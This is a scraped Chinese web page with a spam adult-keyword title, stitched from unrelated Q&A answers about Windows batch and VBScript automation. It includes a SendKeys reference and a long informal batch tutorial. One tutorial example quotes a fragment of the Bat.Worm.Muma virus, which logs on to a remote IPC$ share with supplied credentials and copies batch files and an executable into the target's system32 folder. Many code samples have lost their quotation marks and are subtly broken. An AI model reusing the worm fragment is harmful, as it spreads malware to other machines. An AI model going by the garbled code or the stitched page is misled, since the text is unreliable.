日韩AV午夜在线观看不卡|自拍偷在线精品自拍偷|欧美激情综合在线三区|亚洲综合精品在线

  • <rp id="fsfwt"><strong id="fsfwt"><cite id="fsfwt"></cite></strong></rp>
    <track id="fsfwt"></track>

      <track id="fsfwt"></track>
      1. <rp id="fsfwt"><strong id="fsfwt"><pre id="fsfwt"></pre></strong></rp>

          歡迎來到一句話經(jīng)典語錄網(wǎng)
          我要投稿 投訴建議
          當(dāng)前位置:一句話經(jīng)典語錄 > 格言 > bat實(shí)現(xiàn)每天一句格言

          bat實(shí)現(xiàn)每天一句格言

          時間:2016-06-11 13:32

          怎樣使用BAT腳本實(shí)現(xiàn)自動按鍵盤的某個鍵

          批處理是不行的 用VBS 很簡單 如Set objShell = CreateObject(Wscript.Shell) doWScript.Sleep 3000objShell.SendKeys {F5} WScript.Sleep 3000objShell.SendKeys {F5} loop 使用 SendKeys 方法可以將鍵擊發(fā)送到無自動化界應(yīng)用程序中。

          多數(shù)鍵盤字符都一個鍵擊表示。

          某些鍵盤字符由多個鍵擊組合而成(例如,CTRL+SHIFT+HOME)。

          要發(fā)送單個鍵盤字符,請將字符本身作為 string 參數(shù)發(fā)送。

          例如,要發(fā)送字母 x,則請發(fā)送 string 參數(shù) x。

          可使用 SendKeys 同時發(fā)送多個鍵擊。

          為此,可將每個鍵擊按順序排列在一起,以此來創(chuàng)建表示一系列鍵擊的復(fù)合字符串參數(shù)。

          例如,要發(fā)送鍵擊 a、b 和 c,則需要發(fā)送字符串參數(shù) abc 。

          SendKeys 方法將某些字符用作字符的修飾符(而不使用其本身的含義)。

          這組特殊的字符可包括圓括號、中括號、大括號,以及: 加號 + 插入記號 ^ 百分號 % 和“非”符號 ~ 用大括號 {} 括起這些字符可以發(fā)送它們。

          例如,要發(fā)送加號,請使用字符串參數(shù) {+}。

          SendKeys中使用的中括號 [ ] 無任何特殊含義,但是必須把它們括在大括號中,以便容納確實(shí)要賦予其特殊含義的應(yīng)用程序(例如,對于動態(tài)數(shù)據(jù)交換 (DDE) 就是這樣)。

          要發(fā)送左中括號字符,請發(fā)送字符串參數(shù) {[};要發(fā)送右中括號字符,請發(fā)送字符串參數(shù) {]}。

          要發(fā)送左大括號字符,請發(fā)送字符串參數(shù) {{};要發(fā)送右大括號字符,請發(fā)送字符串參數(shù) {}}。

          某些鍵擊不生成字符(如 ENTER 和 TAB)。

          某些鍵擊表示操作(如 BACKSPACE 和 BREAK)。

          要發(fā)送這些類型的鍵擊,請發(fā)送下表中列出的參數(shù): 空格鍵 退格鍵 {BACKSPACE} 或 {BS} 或 {BKSP} BREAK {BREAK} DELETE {DELETE} 或 {DEL} 向下鍵 {DOWN} 向上鍵 {UP} 向左鍵 {LEFT} 向右鍵 {RIGHT} END {END} ENTER {ENTER} 或 ~ ESC {ESC} TAB {TAB} CAPS LOCK {CAPSLOCK} HELP {HELP} HOME {HOME} INSERT {INSERT} 或 {INS} NUM LOCK {NUMLOCK} PAGE DOWN {PGDN} PAGE UP {PGUP} PRINT SCREEN {PRTSC} SCROLL LOCK {SCROLLLOCK} F1 {F1} F2 {F2} F3 {F3} F4 {F4} F5 {F5} F6 {F6} F7 {F7} F8 {F8} F9 {F9} F10 {F10} F11 {F11} F12 {F12} 要發(fā)送由常規(guī)鍵擊和 SHIFT、CTRL 或 ALT 組合而成的鍵盤字符,請創(chuàng)建表示該鍵擊組合的復(fù)合字符串參數(shù)。

          可通過在常規(guī)鍵擊之前添加一個或多個以下特殊字符來完成上述操作: SHIFT + CTRL ^ ALT % 注意:這樣使用時,不用大括號括起這些特殊字符。

          要指定在按下多個其他鍵時,按下 SHIFT、CTRL 和 ALT 的組合,請創(chuàng)建復(fù)合字符串參數(shù),用括號括起其中的組合鍵。

          例如,要發(fā)送的組合鍵指定: 如果在按 e 和 c 的同時按 SHIFT 鍵,則發(fā)送字符串參數(shù) +(ec)。

          如果在按 e 時只按 c(而不按 SHIFT),則發(fā)送字符串參數(shù) +ec。

          可使用 SendKeys 方法發(fā)送一種在一行內(nèi)重復(fù)按鍵的鍵擊。

          為此,要創(chuàng)建復(fù)合字符串參數(shù),以指定要重復(fù)的鍵擊,并在其后指定重復(fù)次數(shù)。

          可使用 {鍵擊 數(shù)字} 形式的復(fù)合字符串參數(shù)來完成上述操作。

          例如,如果要發(fā)送 10 次 x,則需要發(fā)送字符串參數(shù) {x 10}。

          請確保在鍵擊和數(shù)字之間有一個空格。

          注意:只可以發(fā)送重復(fù)按一個鍵的鍵擊。

          例如,可以發(fā)送 10 次 x,但不可發(fā)送 10 次 Ctrl+x。

          注意:不能向應(yīng)用程序發(fā)送 PRINT SCREEN 鍵 {PRTSC}。

          例子1:關(guān)機(jī)腳本 (模擬按鍵為:Ctrl + Esc、u、u ) 把以下代碼復(fù)制至記事本,另存為 off.vbsset WshShell = CreateObject(WScript.Shell)WshShell.SendKeys ^{ESC}uu例子2:重啟腳本 (模擬按鍵為:Ctrl + Esc、u、r ) 把以下代碼復(fù)制至記事本,另存為 reboot.vbsset WshShell = CreateObject(WScript.Shell)WshShell.SendKeys ^{ESC}ur例子3:切換輸入法 (模擬同時按下:Shift Ctrl )set WshShell = CreateObject(WScript.Shell)WshShell.SendKeys +(^)例子4:輸入 cn-dos.net! 至記事本并保存為 CnDos.txtDim WshShell Set WshShell=WScript.CreateObject(WScript.Shell) WshShell.Run notepad WScript.Sleep 1500 WshShell.AppActivate 無標(biāo)題 - 記事本 WshShell.SendKeys c WScript.Sleep 200 WshShell.SendKeys n WScript.Sleep 200 WshShell.SendKeys - WScript.Sleep 200 WshShell.SendKeys d WScript.Sleep 200 WshShell.SendKeys o WScript.Sleep 200 WshShell.SendKeys s WScript.Sleep 200 WshShell.SendKeys . WScript.Sleep 200 WshShell.SendKeys n WScript.Sleep 200 WshShell.SendKeys e WScript.Sleep 200 WshShell.SendKeys t WScript.Sleep 200 WshShell.SendKeys ! WScript.Sleep 200 WshShell.SendKeys %FS WScript.Sleep 500 WshShell.SendKeys C WScript.Sleep 200 WshShell.SendKeys n WScript.Sleep 200 WshShell.SendKeys D WScript.Sleep 200 WshShell.SendKeys o WScript.Sleep 200 WshShell.SendKeys s WScript.Sleep 200 WshShell.SendKeys %S WScript.Sleep 500 WshShell.SendKeys %FX例子5:自動定時存盤的記事本(此腳本來自網(wǎng)上)'第一部分:定義變量和對象Dim WshShell, AutoSaveTime, TXTFileNameAutoSaveTime=(1000*60*1) '自動存盤時間為1分鐘Set WshShell=WScript.CreateObject(WScript.Shell)TXTFileName=InputBox(給文本起名(不能用中文和純數(shù)字):)'第二部分:打開并激活記事本W(wǎng)shShell.Run notepadWScript.Sleep 200WshShell.AppActivate 無標(biāo)題 - 記事本'第三部分:用輸入的文件名存盤WshShell.SendKeys ^sWScript.Sleep 300WshShell.SendKeys TXTFileNameWScript.Sleep 300WshShell.SendKeys %sWScript.Sleep AutoSaveTime'第四部分:自動定時存盤While WshShell.AppActivate (TXTFileName)=TrueWshShell.SendKeys ^sWScript.Sleep AutoSaveTimeWendWScript.Quit例子:set objShell = CreateObject(Wscript.Shell) strCommandLine = psetup755281.exe '啟動安裝程序objShell.Run(strCommandLine)set WshShell = CreateObject(WScript.Shell)WScript.Sleep 2000 '延時3秒WshShell.SendKeys {ENTER} '模擬按下回車鍵執(zhí)行下一步WScript.Sleep 300 '延時3秒WshShell.SendKeys {ENTER} '模擬按下回車鍵執(zhí)行下一步WScript.Sleep 300 '延時3秒WshShell.SendKeys {ENTER} '模擬按下回車鍵執(zhí)行下一步WScript.Sleep 5200 '延時3秒WshShell.SendKeys {ENTER} '模擬按下回車鍵執(zhí)行下一步WScript.Sleep 300 '延時3秒WshShell.SendKeys {ENTER} '模擬按下回車鍵執(zhí)行下一步WScript.Sleep 300 '延時3秒WshShell.SendKeys {ENTER} '模擬按下回車鍵執(zhí)行下一步WScript.Sleep 200WshShell.SendKeys '模擬按下空格鍵去除安裝百度超級搜霸一行前的√號WScript.Sleep 100WshShell.SendKeys {TAB} '模擬按下 Tab 鍵選擇安裝項(xiàng)目WScript.Sleep 200WshShell.SendKeys '模擬按下空格鍵去除安裝百度超級搜霸一行前的√號WScript.Sleep 200 '延時0.3秒WshShell.SendKeys f '模擬按下 F鍵同意協(xié)議

          在bat腳本中實(shí)現(xiàn)復(fù)制文件

          bat 是,主要用于 和 Windows 操作系統(tǒng)中。

          .bat 文件的內(nèi)容,是由一系列命令構(gòu)成,每一行通常是一條命令,這些命令是以字符的形式,通過命令解釋器進(jìn)行執(zhí)行(與 Windows 常見的鼠標(biāo)點(diǎn)擊運(yùn)行不同)。

          復(fù)制文件的最常用的命令是: copy。

          相關(guān)的資料如下:COPY [\\\/D[1] ] [\\\/V] [\\\/N] [\\\/Y | \\\/-Y] [\\\/Z] [\\\/A | \\\/B ] source [\\\/A | \\\/B][+ source [\\\/A | \\\/B] [+ ...]] [destination [\\\/A | \\\/B]]各參數(shù)代表的含義:source 指定要復(fù)制的文件。

          \\\/A 表示一個 文本文件。

          \\\/B 表示一個二進(jìn)位文件。

          \\\/D 允許解密要創(chuàng)建的目標(biāo)文件destination 為新文件指定目錄和\\\/或文件名。

          \\\/V 驗(yàn)證新文件寫入是否正確。

          \\\/N 復(fù)制帶有非 8dot3 名稱的文件時,盡可能使用短文件名。

          \\\/Y 不使用確認(rèn)是否要覆蓋現(xiàn)有目標(biāo)文件的提示。

          \\\/-Y 使用確認(rèn)是否要覆蓋現(xiàn)有目標(biāo)文件的提示。

          示例:將 D:\\\\目錄\\\\ 下的所有 txt 文件,復(fù)制到 D:\\\\目標(biāo)目錄 下。

          copy D:\\\\目錄\\\\*.txt D:\\\\目標(biāo)目錄

          求一bat來實(shí)現(xiàn)改寫文本文件

          LS這樣的話張村 李村的就混合了哈 @echo offfor \\\/f tokens=1-3 %%i in (a.txt) do echo %%i %%j %%k>>b.txtfor \\\/f tokens=4-6 %%a in (a.txt) do echo %%a %%b %%c>>b.txtstart b.txt

          bat文件命令大全

          我有本bat命令大全電子書,但是上面無法復(fù)制,含有幾百個命令的解釋用法還有例子,很好的,如果想要的話,留下郵箱,我給你發(fā)過去bat批處理教程OK,never claver and get to business(閑話少說言歸正傳)。

          批處理,也稱為批處理腳本,英文譯為BATCH,批處理文件后綴BAT就取的前三個字母。

          它的構(gòu)成沒有固定格式,只要遵守以下這條就ok了:每一行可視為一個命令,每個命令里可以含多條子命令,從第一行開始執(zhí)行,直到最后一行結(jié)束,它運(yùn)行的平臺是DOS。

          批處理有一個很鮮明的特點(diǎn):使用方便、靈活,功能強(qiáng)大,自動化程度高。

          我不想讓自己寫的教程枯燥無味,因?yàn)闋坷p到代碼(批處理的內(nèi)容算是代碼吧

          )的問題本來就是枯燥的,很少有人能面對滿屏幕的代碼而靜下心來。

          所以我會用很多簡單實(shí)用的例子讓讀這篇教程的朋友去體會批處理的那四射的魅力,感受它那古靈精怪的性格,不知不覺中愛上批處理(暈,怎么又是愛

          到底批處理和愛有什么關(guān)系

          答案:沒有

          )。

          再說句“閑話”:要學(xué)好批處理,DOS基礎(chǔ)一定要牢

          當(dāng)然腦子靈活也是很重要的一方面。

          例一、先給出一個最easy的批處理腳本讓大家和它混個臉熟,將下面的幾行命令保存為name.bat然后執(zhí)行(以后文中只給出代碼,保存和執(zhí)行方式類似):ping sz.tencent.com > a.txtping sz1.tencent.com >> a.txtping sz2.tencent.com >> a.txtping sz3.tencent.com >> a.txtping sz4.tencent.com >> a.txtping sz5.tencent.com >> a.txtping sz6.tencent.com >> a.txtping sz7.tencent.com >> a.txtexit是不是都能看的懂

          是不是很easy

          但它的作用卻是很實(shí)用的,執(zhí)行這個批處理后,可以在你的當(dāng)前盤建立一個名為a.txt的文件,它里面記錄的信息可以幫助你迅速找到速度最快的QQ服務(wù)器,從而遠(yuǎn)離“從服務(wù)器中轉(zhuǎn)”那一痛苦的過程。

          這里>的意思,是把前面命令得到的東西放到后面所給的地方,>>的作用,和>的相同,區(qū)別是把結(jié)果追加到前一行得出的結(jié)果的后面,具體的說是下一行,而前面一行命令得出的結(jié)果將保留,這樣可以使這個a.txt文件越來越大(想到如何搞破壞了

          )。

          By the way,這個批處理還可以和其他命令結(jié)合,搞成完全自動化判斷服務(wù)器速度的東東,執(zhí)行后直接顯示速度最快的服務(wù)器IP,是不是很爽

          后面還將詳細(xì)介紹。

          例二、再給出一個已經(jīng)過時的例子(a.bat):@echo offif exist C:\\\\Progra~1\\\\Tencent\\\\AD\\\\*.gif del C:\\\\Progra~1\\\\Tencent\\\\AD\\\\*.gifa.bat為什么說這是個過時的例子呢

          很簡單,因?yàn)楝F(xiàn)在已經(jīng)幾乎沒有人用帶廣告的QQ了(KAO,我的QQ還顯示好友三圍呢

          ),所以它幾乎用不上了。

          但曾經(jīng)它的作用是不可小窺的:刪除QQ的廣告,讓對話框干干凈凈。

          這里用的地址是QQ的默認(rèn)安裝地址,默認(rèn)批處理文件名為a.bat,你當(dāng)然可以根據(jù)情況自行修改。

          在這個腳本中使用了if命令,使得它可以達(dá)到適時判斷和刪除廣告圖片的效果,你只需要不關(guān)閉命令執(zhí)行后的DOS窗口,不按CTRL+C強(qiáng)行終止命令,它就一直監(jiān)視是否有廣告圖片(QQ也再不斷查看自己的廣告是否被刪除)。

          當(dāng)然這個腳本占用你一點(diǎn)點(diǎn)內(nèi)存,呵呵。

          例三,使用批處理腳本查是否中冰河。

          腳本內(nèi)容如下:@echo offnetstat -a -n > a.txttype a.txt | find 7626 && echo Congratulations! You have infected GLACIER!del a.txt pause & exit這里利用了netstat命令,檢查所有的網(wǎng)絡(luò)端口狀態(tài),只需要你清楚常見木馬所使用的端口,就能很easy的判斷出來是否被人種了冰河。

          然這不是確定的,因?yàn)楸幽J(rèn)的端口7626,完全可以被人修改。

          這里介紹的只是方法和思路。

          這里介紹的是方法和思路稍做改動,就變成可以檢查其他木馬的腳本了,再改動一下,加進(jìn)去參數(shù)和端口及信息列表文件后,就變成自動檢測所有木馬的腳本了。

          呵呵,是不是很過癮

          腳本中還利用了組合命令&&和管道命令|,后面將詳細(xì)介紹。

          例四,借批處理自動清除系統(tǒng)垃圾,腳本如下:@echo offif exist c:\\\\windows\\\emp\\\\*.* del c:\\\\windows\\\emp\\\\*.* if exist c:\\\\windows\\\\Tempor~1\\\\*.* del c:\\\\windows\\\\Tempor~1\\\\*.* if exist c:\\\\windows\\\\History\\\\*.* del c:\\\\windows\\\\History\\\\*.* if exist c:\\\\windows\\\\recent\\\\*.* del c:\\\\windows\\\\recent\\\\*.* 將以上腳本內(nèi)容保存到autoexec.bat里,每次開機(jī)時就把系統(tǒng)垃圾給自動刪除了。

          這里需要注意兩點(diǎn):一、DOS不支持長文件名,所以就出現(xiàn)了Tempor~1這個東東;二、可根據(jù)自己的實(shí)際情況進(jìn)行改動,使其符合自己的要求。

          怎么樣,看到這里,你對批處理腳本是不是已經(jīng)有點(diǎn)興趣了

          是不是發(fā)現(xiàn)自己已經(jīng)慢慢愛上了這個東東

          別高興的太早,愛不是一件簡單的事,它也許能帶給你快樂和幸福,當(dāng)然也能讓你痛苦的想去跳樓。

          如果你知道很難還敢繼續(xù)的話,I 服了 YOU

          繼續(xù)努力吧,也許到最后你不一定得到真愛(真的有這可能,愛過的人都知道),但你可以體會到整個愛的過程,就是如此。

          酸、苦和辣,有沒有甜天知道。

          為什么會把批處理和愛情扯上關(guān)系

          不是我無聊,也不是因?yàn)檫@樣寫有趣多少,原因有二:其一,批處理和愛情有很多相同的地方,有些地方我用“專業(yè)”的行話解釋不清(我不懷疑自己的表達(dá)能力,而是事情本身就不好說清楚),說了=沒說,但用地球人都知道的愛情一比喻(愛情是什么

          我**怎么知道

          ),沒準(zhǔn)你心里一下就亮堂了,事半功倍,何樂而不為

          其二,我這段時間狀態(tài)不是很好,感冒發(fā)燒頭疼鼻塞,但主要還是感情上精神摧殘,搞的人煩透了,借寫教程之際感慨幾句,大家就全當(dāng)買狗皮膏藥了,完全可以省略不看(也許還真有點(diǎn)效果----不至于讓你看著看著就睡著了,把頭磕了來找我報(bào)銷醫(yī)藥費(fèi))。

          說不定下次的教程中大家還會看到楊過、張無忌等金老前輩筆下的英雄們。

          看過第一章的朋友,一定對批處理有了初步的印象,知道它到底是用來干什么的了。

          但你知道運(yùn)用批處理的精髓在哪里嗎

          其實(shí)很簡單:思路要靈活

          沒有做不到的,只有想不到的。

          這和愛情就有點(diǎn)不同了,因?yàn)閻矍榈氖澜缡莾蓚€人的世界,一廂情愿不叫愛情(補(bǔ)充:那叫單戀。

          廢話

          )而批處理卻是一個人的天堂,你可以為所欲為,沒有達(dá)不到的境界

          批處理看起來雜亂無章,但它的邏輯性之強(qiáng),絕對不比其他程序語言(如匯編)低,如果你寫的腳本是一堆亂麻,雖然每一行命令都正確,但從頭執(zhí)行到尾后,不一定得到你想要的結(jié)果,也許是一屏幕的Bad command or fail name。

          這又和愛情有了共同點(diǎn):按步驟來經(jīng)營,缺少或增多的步驟都可能導(dǎo)致不想看見的結(jié)果。

          陷入愛河的朋友,相信沒有不肯定這句話的。

          我的愛情批處理,輸出的結(jié)果不是Bad command or fail name,屏幕是這么顯示的:‘你的愛情’不是內(nèi)部或外部命令,也不是可運(yùn)行的程序或批處理文件。

          然后就是光標(biāo)不停閃動,等待這下一次錯誤的輸入。

          從這一章開始,將由淺入深的介紹批處理中常用的命令,很多常見在批處理腳本中有這廣泛的應(yīng)用,它們是批處理腳本的BODY部分,但批處理比DOS更靈活多樣,更具備自動化。

          要學(xué)好批處理,DOS一定要有比較扎實(shí)的基礎(chǔ)。

          這里只講述一些比較少用(相對來說)的,常用命令如COPY、DIR等就不做介紹了(這些看似簡單的命令實(shí)際復(fù)雜的很,我怕自己都說不清楚

          )。

          例五,先看一個實(shí)例。

          這是一個很有意思的腳本,一個小巧實(shí)用的好東東,把批處理“自動化”的特點(diǎn)體現(xiàn)的淋漓盡致。

          先介紹一下這個腳本的來歷:大家都知道匯編程序(MASM)的上機(jī)過程,先要對源代碼進(jìn)行匯編、連接,然后再執(zhí)行,而這中間有很多環(huán)節(jié)需要輸入很多東西,麻煩的很(只有經(jīng)歷過的朋友才懂得)。

          如何使這個過程變的簡單呢

          在我們搞匯編課程設(shè)計(jì)時,我“被逼”寫了這個腳本,用起來很爽,呵呵。

          看看腳本內(nèi)容:@echo off ::close echocls::clean screen echo This programme is to make the MASM programme automate ::display infoecho Edit by CODERED ::display infoecho Mailto me : qqkiller***@sina.com ::display infoif %1== goto usage ::if input without paramater goto usageif %1==\\\/? goto usage ::if paramater is \\\/? goto usageif %1== goto usage ::if paramater is goto usage pause ::pause to see usagemasm %1.asm ::assemble the .asm codeif errorlevel 1 pause & edit %1.asm ::if error pause to see error msg and edit the codelink %1.obj & %1 ::else link the .obj file and execute the .exe file:usage ::set usageecho Usage: This BAT file name [asm file name] echo Default BAT file name is START.BAT ::display usage先不要被這一堆的東西給嚇怕了,靜下心來仔細(xì)的看(回想一下第一章中第一段是怎么寫的

          )。

          已經(jīng)給出了每一行命令的解釋,兩個冒號后面的內(nèi)容為前一行內(nèi)容解釋的E文(害怕E文的朋友也不用擔(dān)心,都很easy,一看就懂了,實(shí)在不懂了不會查詞典啊,這么懶

          ),在腳本執(zhí)行時不顯示,也不起任何作用。

          倒數(shù)第5行行首有一個冒號,可不是筆誤哦

          具體作用后面會詳細(xì)講到。

          此腳本中masm和link是匯編程序和連接程序,必須和edit程序以及你要編輯的源代碼(當(dāng)然還有這個腳本,廢話

          )一起在中。

          使用這個批處理腳本,可以最大可能的減少手工輸入,整個過程中只需要按幾下回車鍵,即可實(shí)現(xiàn)從匯編源代碼到可執(zhí)行exe文件的自動化轉(zhuǎn)換,并具備智能判斷功能:如果匯編時源代碼出現(xiàn)錯誤(匯編不成功),則自動暫停顯示錯誤信息,并在按任意鍵后自動進(jìn)入編輯源代碼界面;如果源代碼匯編成功,則進(jìn)行連接,并在連接后自動執(zhí)行生成的exe文件。

          另外,由于批處理命令的簡單性和靈活性,這個腳本還具備良好的可改進(jìn)性,簡單進(jìn)行修改就可以符合不同朋友的上機(jī)習(xí)慣。

          正在學(xué)匯編的朋友,一定別忘了實(shí)習(xí)一下

          在這個腳本中出現(xiàn)了如下幾個命令:@、echo、::、pause、:和goto、%以及if。

          而這一章就將講述這幾個命令。

          1、@這個符號大家都不陌生,email的必備符號,它怎么會跑到批處理中呢

          呵呵,不是它的錯,批處理本來就離不開它,要不就不完美了。

          它的作用是讓執(zhí)行窗口中不顯示它后面這一行的命令本身(多么繞口的一句話

          )。

          呵呵,通俗一點(diǎn)說,行首有了它的話,這一行的命令就不顯示了。

          在例五中,首行的@echo off中,@的作用就是讓腳本在執(zhí)行時不顯示后面的echo off部分。

          這下懂了吧

          還是不太懂

          沒關(guān)系,看完echo命令簡介,自然就懂了。

          2、echo 中文為“反饋”、“回顯”的意思。

          它其實(shí)是一個開關(guān)命令,就是說它只有兩種狀態(tài):打開和關(guān)閉。

          于是就有了echo on和echo off兩個命令了。

          直接執(zhí)行echo命令將顯示當(dāng)前echo命令狀態(tài)(off或on)執(zhí)行echo off將關(guān)閉回顯,它后面的所有命令都不顯示命令本身,只顯示執(zhí)行后的結(jié)果,除非執(zhí)行echo on命令。

          在例五中,首行的@命令和echo off命令聯(lián)合起來,達(dá)到了兩個目的:不顯示echo off命令本身,不顯示以后各行中的命令本身。

          的確是有點(diǎn)亂,但你要是練習(xí)一下的話,3分鐘包會,不會的退錢

          echo命令的另一種用法一:可以用它來顯示信息

          如例五中倒數(shù)第二行,Default BAT file name is START.BAT將在腳本執(zhí)行后的窗口中顯示,而echo命令本身不顯示(為什么

          )。

          echo命令的另一種用法二:可以直接編輯文本文件。

          例六:echo nbtstat -A 192.168.0.1 > a.batecho nbtstat -A 192.168.0.2 >> a.batecho nbtstat -A 192.168.0.3 >> a.bat以上腳本內(nèi)容的編輯方法是,直接是命令行輸入,每行一回車。

          最后就會在下生成一個a.bat的文件,直接執(zhí)行就會得到結(jié)果。

          3、::這個命令的作用很簡單,它是注釋命令,在批處理腳本中和rem命令等效。

          它后面的內(nèi)容在執(zhí)行時不顯示,也不起任何作用,因?yàn)樗皇亲⑨專皇窃黾恿四_本的可讀性,和C語言中的\\\/*…………*\\\/類似。

          地球人都能看懂,就不多說了。

          4、pause中文為“暫停”的意思(看看你的workman上),我一直認(rèn)為它是批處理中最簡單的一個命令,單純、實(shí)用。

          它的作用,是讓當(dāng)前程序進(jìn)程暫停一下,并顯示一行信息:請按任意鍵繼續(xù). . .。

          在例五中這個命令運(yùn)用了兩次,第一次的作用是讓使用者看清楚程序信息,第二個是顯示錯誤的匯編代碼信息(其實(shí)不是它想顯示,而是masm程序在顯示錯誤信息時被暫它停了,以便讓你看清楚你的源代碼錯在哪里)。

          5、:和goto為什么要把這兩個命令聯(lián)合起來介紹

          因?yàn)樗鼈兪欠植婚_的,無論少了哪個或多了哪個都會出錯。

          goto是個跳轉(zhuǎn)命令,:是一個標(biāo)簽。

          當(dāng)程序運(yùn)行到goto時,將自動跳轉(zhuǎn)到:定義的部分去執(zhí)行了(是不是分不開

          )。

          例五中倒數(shù)第5行行首出現(xiàn)一個:,則程序在運(yùn)行到goto時就自動跳轉(zhuǎn)到:標(biāo)簽定義的部分執(zhí)行,結(jié)果是顯示腳本usage(usage就是標(biāo)簽名稱)。

          不難看出,goto命令就是根據(jù)這個冒號和標(biāo)簽名稱來尋找它該跳轉(zhuǎn)的地方,它們是一一對應(yīng)的關(guān)系。

          goto命令也經(jīng)常和if命令結(jié)合使用。

          至于這兩個命令具體用法,參照例五。

          goto命令的另一種用法一:提前結(jié)束程序。

          在程序中間使用goto命令跳轉(zhuǎn)到某一標(biāo)簽,而這一標(biāo)簽的內(nèi)容卻定義為退出。

          如:……goto end……:end 這里:end在腳本最后一行

          其實(shí)這個例子很弱智,后面講了if命令和組合命令你就知道了。

          6、%這個百分號嚴(yán)格來說是算不上命令的,它只是批處理中的參數(shù)而已(多個%一起使用的情況除外,以后還將詳細(xì)介紹),但千萬別以為它只是參數(shù)就小看了它(看看例五中有多少地方用到它

          ),少了它批處理的功能就減少了51%了。

          看看例七:net use \\\\\\\\%1\\\\ipc$ %3 \\\/u:%2copy 11.BAT \\\\\\\\%1\\\\admin$\\\\system32 \\\/ycopy 13.BAT \\\\\\\\%1\\\\admin$\\\\system32 \\\/ycopy ipc2.BAT \\\\\\\\%1\\\\admin$\\\\system32 \\\/ycopy NWZI.EXE \\\\\\\\%1\\\\admin$\\\\system32 \\\/yattrib \\\\\\\\%1\\\\admin$\\\\system32\\\\10.bat -r -h -s以上代碼是Bat.Worm.Muma病毒中的一部分,%1代表的IP,2%代表的username,3%代表password。

          執(zhí)行形式為:腳本文件名 參數(shù)一 參數(shù)二 ……。

          假設(shè)這個腳本被保存為a.bat,則執(zhí)行形式如下:a IP username password。

          這里IP、username、password是三個參數(shù),缺一不可(因?yàn)槌绦虿荒苷_運(yùn)行,并不是因?yàn)樯倭藚?shù)語法就不對)這樣在腳本執(zhí)行過程中,腳本就自動用用你的三個參數(shù)依次(記住,是依次

          也是一一對應(yīng)的關(guān)系。

          )代換1%、2%和3%,這樣就達(dá)到了靈活運(yùn)用的目的(試想,如果在腳本中直接把IP、username和password都定義死,那么腳本的作用也就被固定了,但如果使用%的話,不同的參數(shù)可以達(dá)到不同的目的,是不是更靈活

          )。

          關(guān)于這個參數(shù)的使用,在后續(xù)章節(jié)中還將介紹。

          一定要非常熟練才行,這需要很多練習(xí)過程,需要下點(diǎn)狠工夫

          這一章就寫到這里了。

          可能有朋友問了:怎么沒介紹if命令

          呵呵,不是我忘了,而是它不容易說清楚,下一章再講了

          這一章講的這點(diǎn)東西,如果你是初學(xué)者,恐怕也夠消化的了。

          記住一句話:DOS是批處理的BODY,任何一個都可以被用在批處理腳本中去完成特定的功能。

          到這里,你是否已經(jīng)想到了用自己肚子里的東西去寫點(diǎn)帶有自動化色彩的東東呢

          很簡單,就是一個DOS命令的集合而已,相信自稱為天才的你已經(jīng)會把計(jì)算機(jī)等級考試上機(jī)試題中的DOS部分用批處理來自動化完成了。

          就好象一個半老女人到了更年期,什么事都想嘮叨幾句,什么事都感到不舒服,看誰誰不爽。

          明知山有虎,偏向虎山行,最后留下一身傷痕無功而返時,才發(fā)現(xiàn)自己竟然如此脆弱,如此渺小,如此不堪一擊。

          徘徊在崩潰的邊緣,突然回想起了自己最后一次扁人的那一刻,還真有點(diǎn)懷念(其實(shí)我很不喜歡扁人,更不喜歡被人扁)。

          我需要發(fā)泄,我用手指拼命的敲打著鍵盤,在一陣接一陣有節(jié)奏的聲音中,屏幕上出現(xiàn)了上面的這些文字。

          可難道這就是發(fā)泄的另一種方式嗎

          中國人還是厲害,早在幾千年前孔老夫子就說過“唯女子與小人,難養(yǎng)也”,真**有先見之明,佩服

          雖然是在發(fā)泄,不過大家請放心,以我的脾氣,既然決定寫這篇教程,就一定會盡力去寫好,寫完美,絕對不給自己留下遺憾,要不這教程就不是我寫的

          曾經(jīng)有一篇經(jīng)典的批處理教程出現(xiàn)在你的屏幕上,你沒有保存,直到找不到它的鏈接你才后悔莫及,人世間最大的痛苦莫過于此。

          如果上天能給你一個再看一次的機(jī)會,你會對那篇教程說三個字:我愛你

          如果非要給這份愛加上一個期限,你希望是100年。

          因?yàn)?00年后,你恐怕早已經(jīng)掛了

          而現(xiàn)在,你的屏幕上出現(xiàn)了這篇你正在看的批處理教程,雖然不如你曾經(jīng)看的那篇經(jīng)典,但如果勉強(qiáng)還過的去。

          你會愛它嗎

          時間會有50年那么長嗎

          答案是:試試看吧。

          批處理腳本中最重要的幾個命令,將在這一章詳細(xì)介紹,但是很遺憾,有些細(xì)節(jié)到現(xiàn)在我都沒掌握的很好,甚至還有些生分。

          如同還不太懂得愛一樣。

          但我一直都在努力,即使一直都沒有收獲。

          所以可能講的會比較籠統(tǒng),但我會告訴你方法,剩下的就是時間問題了,需要自己去磨練。

          讓我們共同努力吧。

          冰凍三尺非一日之寒,滴水穿石非一日之功。

          有些事情,比如學(xué)批處理,比如愛一個人,都是不能速成的,甚至還會有付出艱辛而收獲為甚微的情況。

          再次重申,看這篇教程的時候,一定要靜下心來,除非你已經(jīng)掌握了這篇教程的所有東西----但那也就不必看了,浪費(fèi)時間

          7、if 接上一章,接著講if命令。

          總的來說,if命令是一個表示判斷的命令,根據(jù)得出的每一個結(jié)果,它都可以對應(yīng)一個相應(yīng)的操作。

          關(guān)于它的三種用法,在這里分開講。

          (1)、輸入判斷。

          還是用例五里面的那幾句吧: if %1== goto usage if %1==\\\/? goto usage if %1== goto usage 這里判斷輸入的參數(shù)情況,如果參數(shù)為空(無參數(shù)),則跳轉(zhuǎn)到usage;如果參數(shù)為\\\/?或help時(大家一般看一個命令的幫助,是不是輸入的\\\/?或help呢,這里這么做只是為了讓這個腳本看起來更像一個真正的程序),也跳轉(zhuǎn)到usage。

          這里還可以用否定形式來表示“不等于”,例如:if not %1== goto usage,則表示如果輸入?yún)?shù)不為空就跳轉(zhuǎn)到usage(實(shí)際中這樣做就沒意義了,這里介紹用法,管不了那么多了,呵呵。

          )是不是很簡單

          其實(shí)翻譯成中文體會一下就understand了。

          (2)、存在判斷。

          再看例二里這句: if exist C:\\\\Progra~1\\\\Tencent\\\\AD\\\\*.gif del C:\\\\Progra~1\\\\Tencent\\\\AD\\\\*.gif 如果存在那些gif文件,就刪除這些文件。

          當(dāng)然還有例四,都是一樣的道理。

          注意,這里的條件判斷是判斷存在的,當(dāng)然也可以判斷不存在的,例如下面這句“如果不存在那些gif文件則退出腳本”:if not exist C:\\\\Progra~1\\\\Tencent\\\\AD\\\\*.gif exit。

          只是多一個not來表示否定而已。

          (3)、結(jié)果判斷。

